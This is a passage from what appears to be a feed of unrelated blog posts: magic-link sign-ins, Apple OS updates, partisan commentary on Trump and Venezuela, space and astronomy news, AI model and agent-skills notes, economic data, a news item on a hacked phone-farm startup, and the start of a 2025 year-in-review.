Better would be a way for Passwords to ask if you want to save just your email address for sites with “magic link” sign-ins, and then for Safari to autocomplete that address just like it does for username/password combinations. I can see how this would be a tricky problem for Apple Passwords to solve in a way that makes clear to the user why certain entries do not have passwords, but it’s a problem worth solving.


  1. This design pattern is common with paywalled subscription content sites, like email newsletters, to cut down on password sharing. Let’s say someone pays $10/month for a subscription-based newsletter. If they can sign in using an email/password combination, they might be willing to share their email/password combination for that particularly site with a few friends or colleagues, to give them access to the same paywalled content without paying for their own subscriptions. Same goes for sharing email/password combinations for streaming services like Netflix. Well, you can’t share a password if there is no password to share. If the only way to log in to a subscription-based account is via a magic link that expires within minutes, it’s a lot harder for person A to share their account with person B (let alone with persons C, D, E, and F...). Person B has to tell person A that they’re signing in again, then person A has to wait for the email to arrive, and then person B needs to wait for person A to copy and paste the “magic” link, and hope it arrives before it expires. This pattern adds a significant convenience cost to account sharing — but it also makes signing in more annoying for honest users who aren’t sharing their account. ↩︎

  2. Proponents of “magic links” argue that they’re beneficial for technically befuddled users who don’t use a password manager. That’s a good argument for offering “magic links” as an option, but it’s not a good argument for making them the exclusive way to sign in to a site or service. Good password managers are built into modern OSes and web browsers. Those of us who use them should not be punished with a significantly worse experience just because some users do not. When “magic links” are offered as an alternative to a saved password or passkey, there’s a path for all users. When “magic links” are the exclusive method for signing in, all users get the slowest experience.

    (And yes, Passport, the subscription system behind Dithering and the rest of Ben Thompson’s Stratechery media empire, exclusively uses “magic links” for sign-in. I don’t like it, but, in Passports’s defense, once you’re signed in, Passport keeps you signed in for a very long time. Other CMSes tend to expire sign-ins far too quickly, which makes for a particularly frustrating experience with “magic links” because you need to keep using them every few weeks.) ↩︎︎

Apple’s 26.2 OS Updates

Apple released all of its OS 26.2 updates a week ago today. A little unusual for Apple to release OS updates on a Friday, but I think they wanted to get these out before Christmas week. And I don’t think it was rushed — for iOS 26.2 at least, there were two release candidates builds during beta testing. I suspect Apple had hoped to release them earlier.

I know it seemed weird back at WWDC when Apple announced that they were re-numbering all their OS versions to start with 26. But now that the change has settled in for a few months, it seems very natural. It’s so easy now to remember that the current major version for each OS is 26. It’s also easier to talk about new features that span across OSes. And, in the future, when you see a reference to, say, iOS 26, you’ll know exactly when that version came out without having to think, because it’s right there in the version number itself.

A few other notes:

Lastly, iOS 26.2 seems to be the release that Apple is starting to suggest as an upgrade for users who hadn’t already installed it by choice. Be prepared for questions and complaints from non-nerd friends and family who’ve never even heard of “Liquid Glass”.

 ★ 

Trump in Winter … Drift, Fragmentation and Just Low Energy

I’ve been under the weather. That partly explains missing two days of posts. But another reason is a feeling of repetition. Everything I see in our politics right now — or at least at the pinnacle where Donald Trump dominates all the visuals and attention — has a feeling of drift, spectacle and fragmentation. Trump’s ballroom epitomizes it — crass, stupid, vulgar, unacceptable and yet ultimately meaningless. It’s the full-size version of having his stacked Kennedy Center board, of which he is the chairman, rename the institution after him. That was, I believe, Wednesday, though the days run together. Then there’s his new hall of presidents, a sick-burn tweet storm embedded on a wall of what remains of the White House. These all have the feeling of a man who is bored, tapped out, losing coherence and energy and who others are trying to keep distracted.

The economy continues to reel and lurch under a weight-vest of tariffs and trade wars. Immigrants and brown people of all sorts are still menaced by ICE. The innocent are harassed; the guilty are pardoned. Alleged drug runners, but perhaps mere fishermen and boaters, are blown out of the water from a distance by U.S. Navy drones. All of it continues, and the country remains in the throes of a battle for the survival of civic democracy. In many ways, the predation remains at its highest point — because much of it has happened, has been consolidated, and people now react on the basis of those things having happened. Indeed, we may now be careening toward a war with Venezuela because one of Stephen Miller’s fiendish gambits directed at Mexico has metastasized in the general chaos into a regime change war against Venezuela.

What is uncanny about this though is that it’s incomplete and in key ways faltering. It’s also terribly unpopular. I cannot think of a single facet of the Trumpism of Practice circa 2025 that has not been rejected by the public at large. Many have been decisively, by overwhelming majorities. And yet there is neither any effort to bring these policies even somewhat into line with public opinion, even center-right public opinion, or move aggressively to take the steps that would make public opinion less immediately relevant. On the contrary, we see the administration taking all these actions that one would expect if Trump had fully consolidated control over the state’s so-called “power ministries” and secured full or fullish control over the state, eliminated real sources of opposition power and so forth. Only he hasn’t.

You might be saying, well, that’s what you think, Josh. He’s already done X, Y and Z. But it is what I think. And I’m pretty sure I’m right.

I’m not saying he’s toast or that everything is going to be fine. But he’s far from effectively locking everything down. And yet we’re rolling at full speed into what we what we might call North Korean aesthetics of power with triumphal arches that will soon enough be dusty, half-broken relics, renaming everything after the Maximum Leader. It’s all weird. And it is all of this very particular moment. In a way, the Susie Wiles drama is part of it. The person at the center of the White House power structure talked openly and disparagingly about the president. And the immediate reaction was for Wiles to issue what can only be called an intentionally absurd denial and for every Cabinet secretary to tweet out a post-struggle session-like emphatic defense of Wiles and pledge of fealty to Trump. In fact, by the end of the day Trump said in response to a question about Wiles that he agreed with what she said.

This is all deeply weird. But I think it tends to confirm everything I said above, as I noted in the post earlier this week about Wiles. It’s a sign of her power; it is a sign of the government’s weakness and unpopularity. (You don’t say the president is a weirdo who’s done a bunch of terrible things if everyone thinks things are awesome and the present is the future.) Finally, it is a sign of an emerging vacuum at the top — at the top of Trump’s body in his head, and at the top of the government in Trump. I’m not saying Trump is sick or dying or declining in cognitive terms. Those things are very possible. He may simply be bored and in need of distractions, which is of a piece with the sense enervation and fragmentation.

*Central Asia*, by Adeeb Khalid

An excellent book, the best I know of on this region.  Here is one bit:

The first printing press in Central Asia was established in Tashkent in 1870…

I had not understood how much Xinjiang (“East Turkestan”), prior to its absorption into newly communist China, fell under the sway of Soviet influence.

I had not known how much the central Asian republics had explicit “let’s slow down rural migration into the cities” policies during Soviet times.

The book is interesting throughout, recommended.

The post *Central Asia*, by Adeeb Khalid appeared first on Marginal REVOLUTION.

       

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The hidden backbone of space security: how to keep satellites safe through proper logistics

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The modern space economy is increasingly powered by dual-use satellites that support both civilian services and national security needs. These assets deliver critical capabilities, from communications to Earth observation, but they also face growing risks. Protecting them, along with the intellectual property they carry, requires an integrated end-to-end approach that connects logistics, compliance and mission […]

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Astrobotic secures contracts for suborbital vehicle development

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Trump signs sweeping executive order to assert U.S. dominance in space

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Germany awards $1.9 billion SAR satellite deal to Rheinmetall-Iceye venture

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Middle East Space Conference 2026 Returns to Muscat as a Strategic Platform for Regional Growth

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Young stars blow bubbles?

We know that a star’s childhood is turbulent: growing via a disc of gas and dust, the same disc from which planets form. Young stars also experience outbursts, expelling material via fast jets that regulate how much material is left to feed the young stars and form planets around it. Today’s Picture of the Week shows one of those jets interacting with the surrounding material. 

The background image, taken with the NASA/ESA Hubble Space Telescope, shows the young star SVS 13, located in the star-forming region NGC 1333 about 1000 light-years away. This star is expelling gas in the form of clumps known as “molecular bullets”. The insets show observations of one of those “bullets” taken with the Atacama Large Millimeter/submillimeter Array (ALMA), in which ESO is a partner. Each frame displays gas moving at different speeds, ranging from 35 km/s (red) to 97 km/s (blue).

This series of images is similar to a medical tomography, and allows astronomers to reconstruct the 3D shape of the rings and shells of gas that the jet creates as it interacts with its environment. “This is the first time such a degree of fine detail has been reached, thanks to the exquisite sensitivity achieved in our study with ALMA,” said Guillermo Blazquez-Calero, lead author of the study recently published in Nature Astronomy. This will help astronomers understand the not-so-peaceful infancy of stars and how planets form around them. 

Link 

Agent Skills

Agent Skills

Anthropic have turned their skills mechanism into an "open standard", which I guess means it lives in an independent agentskills/agentskills GitHub repository now? I wouldn't be surprised to see this end up in the AAIF, recently the new home of the MCP specification.

The specification itself lives at agentskills.io/specification, published from docs/specification.mdx in the repo.

It is a deliciously tiny specification - you can read the entire thing in just a few minutes. It's also quite heavily under-specified - for example, there's a metadata field described like this:

Clients can use this to store additional properties not defined by the Agent Skills spec

We recommend making your key names reasonably unique to avoid accidental conflicts

And an allowed-skills field:

Experimental. Support for this field may vary between agent implementations

Example:

allowed-tools: Bash(git:*) Bash(jq:*) Read

The Agent Skills homepage promotes adoption by OpenCode, Cursor,Amp, Letta, goose, GitHub, and VS Code. Notably absent is OpenAI, who are quietly tinkering with skills but don't appear to have formally announced their support just yet.

Tags: ai, generative-ai, llms, anthropic, ai-agents, coding-agents, skills

swift-justhtml

swift-justhtml

First there was Emil Stenström's JustHTML in Python, then my justjshtml in JavaScript, then Anil Madhavapeddy's html5rw in OCaml, and now Kyle Howells has built a vibespiled dependency-free HTML5 parser for Swift using the same coding agent tricks against the html5lib-tests test suite.

Kyle ran some benchmarks to compare the different implementations:

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Tags: html5, ai, generative-ai, llms, ai-assisted-programming, vibe-coding, swift

Trump Gets Ready to Get His War On

The U.S.S Gerald Ford off St. Thomas, U.S. Virgin Islands, as part of the Trump administration’s military deployments aimed at Venezuela (photo by U.S. Navy)

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Donald Trump has had some pretty dumb ideas in his long and eventful political life, but invading Venezuela has to be among the dumbest.

It may seem unlikely that he’ll actually mount a full-scale ground invasion, but Trump has grown so addled that it’s impossible to say with certainty that there’s anything he won’t do. His current position is “I don’t rule it out,” and if his approval ratings continue their downward slide, it wouldn’t be hard to see him warming to the idea that a fun little war could be just what the doctor ordered to restore the vim and vigor he has been lacking.

But would the public actually allow it? Trump may be less concerned about public sentiment than most presidents, but even he is constrained by what the people will agree to. And no public on earth has had to consider whether they want their government to go to war more often than we have. Whenever we face this question, we view it through the lens of the last war, and there’s always one that ended within recent memory. Because America never goes too long without invading somebody or other.

Judging by their words and actions, it would certainly seem like the administration is preparing for war. We’re bombing boats in Venezuelan waters left and right. We’ve now moved significant military resources nearby, and blockaded the country. We’re seizing its oil tankers. CNN counted 17 times in recent months that Trump has said some kind of strike on Venezuelan land could happen “soon.” Trump shouted on Truth Social that “the Venezuelan Regime has been designated a FOREIGN TERRORIST ORGANIZATION,” which is incoherent but is clearly meant to portray Venezuela as an imminent threat to your very life. And his administration recently declared “a new ‘Trump Corollary’ to the Monroe Doctrine,” the 19th century assertion of US sovereignty over every country in the hemisphere, which began our long history of invasions, coups, and interventions into almost every country in South and Central America.

If he does make a decision to invade, Trump will have plenty of support from the Republican Party and all its auxiliary institutions, and not just because they line up behind him in whatever absurd thing he proposes. They may not have thought about getting back in the war biz for a while, but as soon as it began to look like a real possibility they’d barely be able to contain their excitement.

I wouldn’t be surprised if Secretary of Defense Hegseth is already lobbying Trump to go big, to get beyond bombing boats supposedly carrying drugs to something much more thrillingly kinetic (Hegseth names every new action “Operation Pounding Hammer” or some such, as though he wanted to call it “Operation I Don’t Have A Small Penis, YOU Have A Small Penis” but decided not to be so obvious). Trump’s hawkish supporters in Congress would line up to cheer; I think I can hear Lindsey Graham giggling in anticipation. The right-wing groups like the Heritage Foundation would mobilize their senior fellows and email blasts to pound the drums.

And the powerful octopus that is the right-wing media, stronger than it has ever been, would be on board too. You think Fox News wouldn’t be psyched beyond belief for a full-on war? Oh my goodness — the graphics, the music, the immersive VR stage sets! It’s gonna rock!

Remembering and forgetting Iraq

I wish I could say that the public at large would never get behind such a thing, and the lack of support will inevitably stay Trump’s hand. But while that’s possible, I don’t think it’s guaranteed. Because what ought to be the fundamental lessons of our history and the world’s history — things like “Wars are terrible and should be avoided at all cost,” or “It’s foolish to think that even people suffering under dictators want us to come in, kill a bunch of them, and lay waste to their country” or “If you think this is going to be easy, you’re almost certainly wrong” — never seem to be learned, at least by enough people for a long enough period.

The recent history that got us to where we are now really starts in the first Gulf War in 1991, which itself took place in the shadow of the Vietnam War, which ended sixteen years before. Vietnam had been called “the living room war” because it was the first one where footage of battles was shown regularly on TV news. But the Gulf War I was truly the first televised war, as the Pentagon deployed a complex and carefully planned media strategy to go along with its war strategy.

That involved convincing Americans that the whole thing was essentially bloodless, not just in terms of American casualties but among Iraqis too (which was far from true; tens of thousands of Iraqi civilians and soldiers died). Here’s a remarkable moment, when Gen. Norman Schwarzkopf, the commander of the operation, showed a video of “the luckiest man in Iraq,” a video of a car crossing a bridge just before an American bomb destroyed it. All the reporters in the room laughed:

After the end of that war, George H. W. Bush said triumphantly, “By god, we’ve kicked the Vietnam syndrome once and for all.” The “syndrome” to which he referred wasn’t so much about military failure but the public’s reluctance to support invasions of foreign countries. Here’s an article from the Los Angeles Times published the next day:

War was fun again! What a relief.

Let’s jump ahead to 2002, when the administration of the lesser Bush began preparing the ground for an even bigger war against Iraq. The fact that we were still living in the aftermath of 9/11 meant that Americans still had both a sense of vulnerability and a desire for revenge, and neither had been satisfied by the Afghanistan War, which had already become a slog. So when the Bush administration told America that Saddam Hussein probably had something to do with 9/11 and he possessed a fearsome arsenal he would inevitably use to kill your children — in the words of Dick Cheney, “There is no doubt that Saddam Hussein now has weapons of mass destruction. There is no doubt he is amassing them to use against our friends, against our allies, and against us” — the people were ready to be persuaded.

There were plenty of us who raised our voices in objection. But we were dismissed as anti-American and pro-terrorist, or just weak, naïve, and cowardly. When it began, the war had the support of about two-thirds of the public, including most of the Democratic establishment — who really were weak and cowardly, since they almost certainly knew what a mistake it was, and that the administration was lying about almost everything. But they didn’t have the courage to say no.

There was also a pervasive sense of excitement when the Iraq War started. People thought it was going to be awesome — we’d march in there, get rid of a dictator, the Iraqi people would greet us with flowers and candy (“We will, in fact, be greeted as liberators,” Cheney said), and then a wave of democracy would spread across the Middle East. Vietnam had been superseded in the public’s mind by the Gulf War and 9/11, and the warnings by almost everyone who knew anything about the Middle East were swept aside.

This is not 2003

That brings us to today. The utter catastrophe that Iraq became (and to a lesser extent Afghanistan) is still the lens through which the public is going to view the possibility of war with Venezuela. Nobody is referring to an “Iraq syndrome” in public opinion, but that’s what it is. A CBS poll taken last month showed that 70% of respondents opposed military action against Venezuela, and a more recent one from Quinnipiac showed opposition at 63% - 25%.

We also have to remember that the Trump team has none of the propaganda skills the Bush administration did. On an individual level, most of them are just pretty dumb, and collectively they fashion themselves into a reflection of Trump’s own personality and impulses, which prevents them from persuading anyone who isn’t already on their side. Nor is Trump himself much good as a communicator these days; while he has certainly long been a charismatic presence, he never had a great ability to convince large numbers of people of something they didn’t already believe, and what skills he had are rapidly deteriorating. And they still can’t settle on a justification to what is clearly an effort to overthrow the government of Nicolás Maduro — sometimes it’s because of fentanyl (which isn’t made in Venezuela), sometimes it’s because they took our oil (I kid you not), and sometimes it’s because Maduro is a bad guy (true but barely relevant). None of those is particularly compelling as a justification for war.

But as I’ve been thinking about this, there’s something I can’t get out of my head. World War II was far and away the most monumental horror ever experienced by the human race; while there are varying estimates of the death toll, 50 million or so is the low end, depending on what you include. With it came some of the most gruesome events anyone had ever even learned about, let alone experienced — the killing of tens or even hundreds of thousands in a single night in places like Tokyo and Dresden; the Bataan Death March; at least a million dead and likely many more at the Battle of Stalingrad; the twin explosions of the deadliest weapons ever devised; and of course the Holocaust, a combination of mechanized mass slaughter and widely distributed savagery from both military and civilians that should have been enough to make anyone question whether a species capable of such things was even deserving of survival.

One would think that out of that experience, it would be decades at least before any public reacted to even the suggestion of beginning or joining a new war with anything other than terror and universal political resistance. And yet, just five years after World War II ended, Americans were told “Hey folks, we’re going to go do another land war in Asia,” and their response was “Okay, I guess.” I’m not trying to make any particular argument about the Korean war; my point is just that it’s striking that the public wasn’t more opposed (public opinion on Korea was divided, but there was never anything like widespread rejection of U.S. involvement in the war).

That was a long time ago, but one of the lessons, I think, is that whether our last war is considered a failure or a success matters more to whether we’re ready to have a new one than the actual cost of the war in human suffering. That’s especially true when it comes to the price paid by people who aren’t American.

So yes, for now the public is not at all eager to launch a new war in Venezuela, especially since it’s an extremely unpopular president who wants to start it. But if this isn’t our next war, there will be another one sooner or later. And another one after that.

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Lies, Damned Lies and Trump Speeches

Source

Today is a travel day so this will be a short post. Fortunately the main topic that I want to talk about is uncomplicated – the speech that Donald Trump gave on Wednesday night. The purpose of the speech was to turn around Trump’s cratering public approval on his handling of the economy. I will also address a slightly more complicated topic: health insurance and the complete inability of Trump and Republicans in general to address public concerns about healthcare affordability.

To paraphrase Thomas Hobbes, Trump’s speech was nasty, brutish, but, mercifully, short. Apparently it was short because the networks told him that they would only give him 15 minutes (although they didn’t cut away when he went over). It was a blizzard of lies. I can’t find a single factual assertion Trump made that was true.

So many lies, so little time, as well as reader patience. However, the major media organizations are doing a decent job of fact-checking, so I won’t inflict upon you another laundry list of his mendacities.

Yet one hallucination I will highlight — in this case I say “hallucination” rather than lie because Trump, surrounded by sycophants, may actually believe it — is his persistent claim that the world despised the US economy a year ago and now admires his achievements. From the speech:

One year ago, our country was dead. We were absolutely dead. Our country was ready to fail. Totally fail. Now we’re the hottest country anywhere in the world. And that’s said by every single leader that I’ve spoken to over the last five months.

What was the world actually saying about America a year ago? From The Economist, in October 2024:

A person on a unicycle with a flag in front of a crowd of people

AI-generated content may be incorrect.

Furthermore, truth wasn’t the only thing completely lacking in Trump’s diatribe. Also lacking was anything resembling an actual policy to deal with concerns about affordability.

It was notable that while making the false claim that overall prices are coming down, the specific prices Trump highlighted (with fake numbers) were turkeys, eggs and gasoline — all prices over which policy has very little influence. Egg prices, for example, fluctuate wildly over time, not because of anything the government does, but because of the vagaries of bird flu. And, by the way, the Trump Administration has shut down a research project that was developing a bird flu vaccine.

Healthcare, by contrast, is an area where policy has a huge effect on affordability. It’s also an area in which Trump talked utter nonsense.

Here’s what you should know: The Affordable Care Act, aka Obamacare, offers Americans who aren’t covered by Medicare, Medicaid or through their employers the ability to purchase insurance coverage from private insurers, with the federal government subsidizing most enrollees’ premiums. However, enhanced subsidies put in place under the Biden administration will expire on January 1st, 2026, leading to large cost increases for many families.

Costs will soar for two reasons. There’s the direct effect of losing subsidies. But there’s also an indirect effect, because the loss of subsidies will lead millions of people to drop their coverage — and those who drop coverage will, on average, be healthier than those who don’t, worsening the risk pool. Insurers, anticipating this effect, have already sharply raised premiums.

Charts from KFF show the effects on some representative couples. More than 20 million would be affected, but the worst hit will be older, moderately well-off Americans who are earning just a bit too much to remain eligible for subsidies. For example, a 60-year-old couple with an income of $85,000 will face a premium hike equal to more than a quarter of their pre-tax income:

A graph of money and a few dollars

AI-generated content may be incorrect.
A graph of money and a bar

AI-generated content may be incorrect.

Source: KFF

What should the Trump Administration do? Here’s Trump:

I’m also taking on the gigantic health insurance companies that have gotten rich on billions of dollars of money that should go directly to the people. The money should go to the people. That’s you, so they can buy their own health insurance, which will give far better benefits at much lower costs.

So Trump says that he’ll replace the current system, in which people buy their own health insurance with the aid of government subsidies, with a system in which the government gives people money they can use to buy their own health insurance. How is that different?

In fact, it isn’t different except for one devastating detail: Republicans in Congress will never approve subsidies adequate to make health insurance affordable. Because the Republican plan would be far stingier than the one currently in place, millions of people will be forced to drop their insurance. And as I said, because it’s the younger and relatively more healthy that will drop their coverage, the pool of those who keep their coverage will be older and sicker. And you know what happens next – premiums go up even further. No wonder that four Republican congressmen in purple districts defied Mike Johnson and voted to extend the Obamacare subsidies.

So what should we make of Trump’s speech? Many commentators are describing it as a nothingburger, because it’s unlikely to do anything to move the political needle. (PS: The price of nothingburgers has risen 18 percent since Trump took office.)

Let me say something about the latest report on consumer prices, which showed lower inflation than expected. The general view among economists I follow is that this report was seriously distorted by the effects of the government shutdown, although we don’t know by how much. For now, the best guess is that troubling inflation, and with it public concern about affordability, will persist.

But leaving the short-run politics aside, the speech revealed something important: Namely, Trump has no idea how to govern. Faced with adversity, he’s unable to propose policies to improve the situation. All he can do iscontinue to gaslight the public and claim that everything is great, while smearing his opponents.

That was a short speech, but it presages a very long next three years for ordinary Americans. And for congressional Republicans, it presages a very ugly November 2026.

MUSICAL CODA

Introducing GPT-5.2-Codex

Introducing GPT-5.2-Codex

The latest in OpenAI's Codex family of models (not the same thing as their Codex CLI or Codex Cloud coding agent tools).

GPT‑5.2-Codex is a version of GPT‑5.2⁠ further optimized for agentic coding in Codex, including improvements on long-horizon work through context compaction, stronger performance on large code changes like refactors and migrations, improved performance in Windows environments, and significantly stronger cybersecurity capabilities.

As with some previous Codex models this one is available via their Codex coding agents now and will be coming to the API "in the coming weeks". Unlike previous models there's a new invite-only preview process for vetted cybersecurity professionals for "more permissive models".

I've been very impressed recently with GPT 5.2's ability to tackle multi-hour agentic coding challenges. 5.2 Codex scores 64% on the Terminal-Bench 2.0 benchmark that GPT-5.2 scored 62.2% on. I'm not sure how concrete that 1.8% improvement will be!

I didn't hack API access together this time (see previous attempts), instead opting to just ask Codex CLI to "Generate an SVG of a pelican riding a bicycle" while running the new model (effort medium). Here's the transcript in my new Codex CLI timeline viewer, and here's the pelican it drew:

Alt text by GPT-5.2-Codex: A minimalist illustration of a white pelican with a large orange beak riding a teal bicycle across a sandy strip of ground. The pelican leans forward as if pedaling, its wings tucked back and legs reaching toward the pedals. Simple gray motion lines trail behind it, and a pale yellow sun sits in the top‑right against a warm beige sky.

Tags: ai, openai, generative-ai, llms, pelican-riding-a-bicycle, llm-release, codex-cli, gpt-codex

Friday assorted links

1. The negativity crisis of AI ethics.

2. Vitalik and governance experiments and culture.

3. Stripe runs an RCT on capital markets and lending.

4. “For the first time, an AI model (GPT-5) autonomously solved an open math problem submitted to our benchmarking project IMProofBench, with a complete, correct proof, without human hints or intervention.”  Link here, it is amazing how many smart or accomplished people will deny this is possible.

5. Developments in cognitive dissonance (New Yorker).

6. Amia Srinivasan in LRB on psychoanalysis.

7. The influence of Terence Malick.

The post Friday assorted links appeared first on Marginal REVOLUTION.

       

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Filtered for conspiracy theories

1.

Why Were All the Bells in the World Removed? The Forgotten Power of Sound and Frequency (Jamie Freeman).

Church bells: "something strange happened in the 19th and 20th centuries: nearly all of the world’s ancient bells were removed, melted down, or destroyed."

(I don’t know whether that’s true, but go with it for a second.)

Why? Mainstream historians attribute this mass removal to wars and the need for metal, but when you dig deeper, the story doesn’t add up.

An explanation:

Some theorists believe that these bells were part of a Tartarian energy grid, designed to harmonise human consciousness, balance electromagnetic fields, and even generate free energy. Removing the bells would have disrupted this energy network, cutting us off from an ancient technology we no longer understand.

Tartarian?

Tartarian Empire (Wikipedia):

Tartary, or Tartaria, is a historical name for Central Asia and Siberia. Conspiracy theories assert that Tartary, or the Tartarian Empire, was a lost civilization with advanced technology and culture.

2.

Risky Wealth: Would You Dare to Open the Mysterious Sealed Door of Padmanabhaswamy Temple? (Ancient Origins).

"The Padmanabhaswamy Temple is a Hindu temple situated in Thiruvananthapuram, Kerala, a province on the southwestern coast of India."

It has a mysterious Vault B with an as-yet-unopened sealed door.

One of the legends surrounding Vault B is that it is impossible at present to open its door. It has been claimed that the door of the vault is magically sealed by sound waves from a secret chant that is now lost. In addition, it is claimed that only a holy man with the knowledge of this chant would be capable of opening the vault’s door.

Maybe the chant was intended to tap Tartarian energies.

3.

Claims that former US military project is being used to manipulate the weather are “nonsense” (RMIT University).

HAARP is a US research program that uses radio waves to study the ionosphere (Earth’s upper atmosphere) and cannot manipulate weather systems.

PREVIOUSLY:

Artificial weather as a military technology (2020), discussing a 1996 study from the US military, "Weather as a Force Multiplier: Owning the Weather in 2025."

4.

What conspiracy theorists get right (Reasonable People #42, Tom Stafford).

Stafford lists 4 “epistemic virtues” of conspiracy theorists:

  • "Listening to other people"
  • "A healthy skepticism towards state power"
  • "Being sensitive to hidden coalitions"
  • "Willing to believe the absurd"

As traits in a search for new truths, these are good qualities!

Where is goes wrong is "the vices of conspiracy theory seem only to be the virtues carried to excess."

Let’s try to keep the right side of the line folks.

Newsletter: NAR: Existing-Home Sales Increased to 4.13 million SAAR in November

Today, in the CalculatedRisk Real Estate Newsletter: NAR: Existing-Home Sales Increased to 4.13 million SAAR in November

Excerpt:
The fourth graph shows existing home sales by month for 2024 and 2025.

Existing Home Sales Year-over-yearSales were down 1.0% year-over-year compared to November 2024. The last month of 2025 will have a difficult year-over-year comparison.
...
Year-to-date, sales are down 0.5% compared to last year - and 2024 was the lowest level of sales since 1995! Sales this year will be close to last year.

Will this be the lowest level of sales in 30 years? Maybe. But there was one more working day in December this year compared to last year, so sales in 2025 might beat 2024.
There is much more in the article.

NAR: Existing-Home Sales Increased to 4.13 million SAAR in November

From the NAR: NAR Existing-Home Sales Report Shows 0.5% Increase in November
Month-over-month

• 0.5% increase in existing-home sales – seasonally adjusted annual rate of 4.13 million in November

• 5.9% decrease in unsold inventory – 1.43 million units equal to 4.2 months' supply

Year-over-year

• 1.0% decrease in existing-home sales

• 1.2% increase in median existing-home sales price to $409,200
emphasis added
Existing Home SalesClick on graph for larger image.

This graph shows existing home sales, on a Seasonally Adjusted Annual Rate (SAAR) basis since 1994.

Sales in November (4.13 million SAAR) were up 0.5% from the previous month and were down 1.0% compared to the November 2024 sales rate.  

The second graph shows nationwide inventory for existing homes.

Existing Home InventoryAccording to the NAR, inventory decreased to 1.43 million in November from 1.52 million the previous month.

Headline inventory is not seasonally adjusted, and inventory usually decreases to the seasonal lows in December and January, and peaks in mid-to-late summer.

The last graph shows the year-over-year (YoY) change in reported existing home inventory and months-of-supply. Since inventory is not seasonally adjusted, it really helps to look at the YoY change. Note: Months-of-supply is based on the seasonally adjusted sales and not seasonally adjusted inventory.

Year-over-year Inventory Inventory was up 7.5% year-over-year (blue) in November compared to November 2024.

Months of supply (red) decreased to 4.2 months in November from 4.4 months the previous month.

I'll have more later. 

AI Advertising Company Hacked

At least some of this is coming to light:

Doublespeed, a startup backed by Andreessen Horowitz (a16z) that uses a phone farm to manage at least hundreds of AI-generated social media accounts and promote products has been hacked. The hack reveals what products the AI-generated accounts are promoting, often without the required disclosure that these are advertisements, and allowed the hacker to take control of more than 1,000 smartphones that power the company.

The hacker, who asked for anonymity because he feared retaliation from the company, said he reported the vulnerability to Doublespeed on October 31. At the time of writing, the hacker said he still has access to the company’s backend, including the phone farm itself.

Slashdot thread.

Someone Boarded a Plane at Heathrow Without a Ticket or Passport

I’m sure there’s a story here:

Sources say the man had tailgated his way through to security screening and passed security, meaning he was not detected carrying any banned items.

The man deceived the BA check-in agent by posing as a family member who had their passports and boarding passes inspected in the usual way.

Hotels: Occupancy Rate Decreased 1.6% Year-over-year

Hotel occupancy was weak over the summer months, due to less international tourism.  The fall months are mostly domestic travel and occupancy is still under pressure! 

From STR: U.S. hotel results for week ending 13 December
The U.S. hotel industry reported mixed year-over-year comparisons, according to CoStar’s latest data through 13 December. ...

7-13 December 2025 (percentage change from comparable week in 2024):

Occupancy: 58.6% (-1.6%)
• Average daily rate (ADR): US$156.46 (+0.4%)
• Revenue per available room (RevPAR): US$91.76 (-1.1%)
emphasis added
The following graph shows the seasonal pattern for the hotel occupancy rate using the four-week average.

Hotel Occupancy RateClick on graph for larger image.

The red line is for 2025, blue is the median, and dashed light blue is for 2024.  Dashed black is for 2018, the record year for hotel occupancy. 

The 4-week average of the occupancy rate is tracking well behind last year but is close to the median rate for the period 2000 through 2024 (Blue).

Note: Y-axis doesn't start at zero to better show the seasonal change.

The 4-week average will decrease seasonally until early next year.

On a year-to-date basis, the only worse years for occupancy over the last 25 years were pandemic or recession years.

Navigating congested (dating) markets: Judd Kessler's advice for the frustrated

 Pessimistic about dating? Harvard-trained economist says do 2 simple things to improve your luck
by Judd B. Kessler

 1. Ditch the disinterested
Aggressively screen out people based on their interest in you.  

...

"2. Lean into idiosyncratic preferences
Identify what you — and specifically you — desire in a partner. What do you particularly value that may not be commonly desired by others? Economists call these your idiosyncratic preferences, distinguishing them from general preferences that are more commonly held. 

...

"And since people are looking for idiosyncrasies, you should advertise yours, too. Let potential daters know about your quirks (the kind that attract some people while repelling others) on your profile and on first dates. Sure it might send some people packing, but the ones who are drawn to you are better matches anyway.  

"A focus on idiosyncratic preferences can turn the “too many options” problem of dating apps back into a plus. A larger dating pool means there are probably more people out there who are quirky in the particular ways you like. To be successful in the dating market — during cuffing season or otherwise — you just have to make sure your energy is focused on finding them. " 

^^^^^

Earlier:

 Monday, August 11, 2025  Lucky by Design: The Hidden Economics You Need to Get More of What You Want, by Judd Kessler

Voices From 2099

Great little video. Winner of the Foresight Institute’s $10,000 prize for Existential Hope. Go Bryan Johnson!

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Falling costs

Unbelievable progress that even I underestimated! Gemini 3 Flash has practically beaten ARC-AGI-1 [an AI evaluation] at cost/score parity! It achieved the same score at more than 500x lower cost than the o3 model from a year ago & 6x lower than the just-released GPT-5.2!

Here is the link.

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“Docs said I’d never walk, but I ran a marathon.” Logan Knowles was born with cerebral palsy. This fall, he ran & completed the NYC marathon, his body fighting him the whole way. What a story.

💬 Join the discussion on kottke.org

2025 in review.

Yet another edition of my annual recap! This year brought my son to kindergarten, me to forty and to a new job at Imprint, my fourth book to bookstores, and a lot more time in the weeds of developing software.


Previously: 2024, 2023, 2022, 2021, 2020, 2019, 2018, 2017

Goals

Evaluating my goals for this year and decade:

  • [Completed] Write at least four good blog posts each year.

    Moving from an orchestration-heavy to leadership-heavy management role, Good engineering management is a fad, What is the competitive advantage of authors in the age of LLMs?, Facilitating AI adoption at Imprint

  • [Completed] Write three books about engineering or leadership in 2020s.

    This year I finished Crafting Engineering Strategy with O’Reilly. This is my third engineering book in the 2020s. More about this in the Writing section below.

  • [Completed] Do something substantial and new every year that provides new perspective or deeper practice.

    After almost a decade of not submitting a substantial pull request at work, I’ve been back in the mix since joining Imprint. I’ve submitted a solid handful of real pull requests that implement production features, and have used Claude Code widely in their creation. I’ve missed this a lot, and have learned a bunch about developing software with LLMs.

  • [In progress] 20+ folks who I’ve managed or meaningfully supported move into VPE or CTO roles at 50+ person or $100M+ valuation companies.

    This is a decade goal ending in 2029. I previously increased the goal in 2022 from 3-5 to 20. In 2024, the count was at 10. Things haven’t moved too much since then, but I’ll refresh next year.

    I think that I’m on track, but I will say that I think getting into these roles is markedly harder than it was three years ago. There are just fewer of these roles available recently, and they tend to be both more demanding and more difficult than the standard VPE/CTO role a few years ago.

For backstory on these goals: I originally set them in 2019, and then revised them in 2022. I’ve come to believe that I should be revising these every year, but also that it’s not that interesting to revise them every year. I’ll revise them again in a few years.

Writing

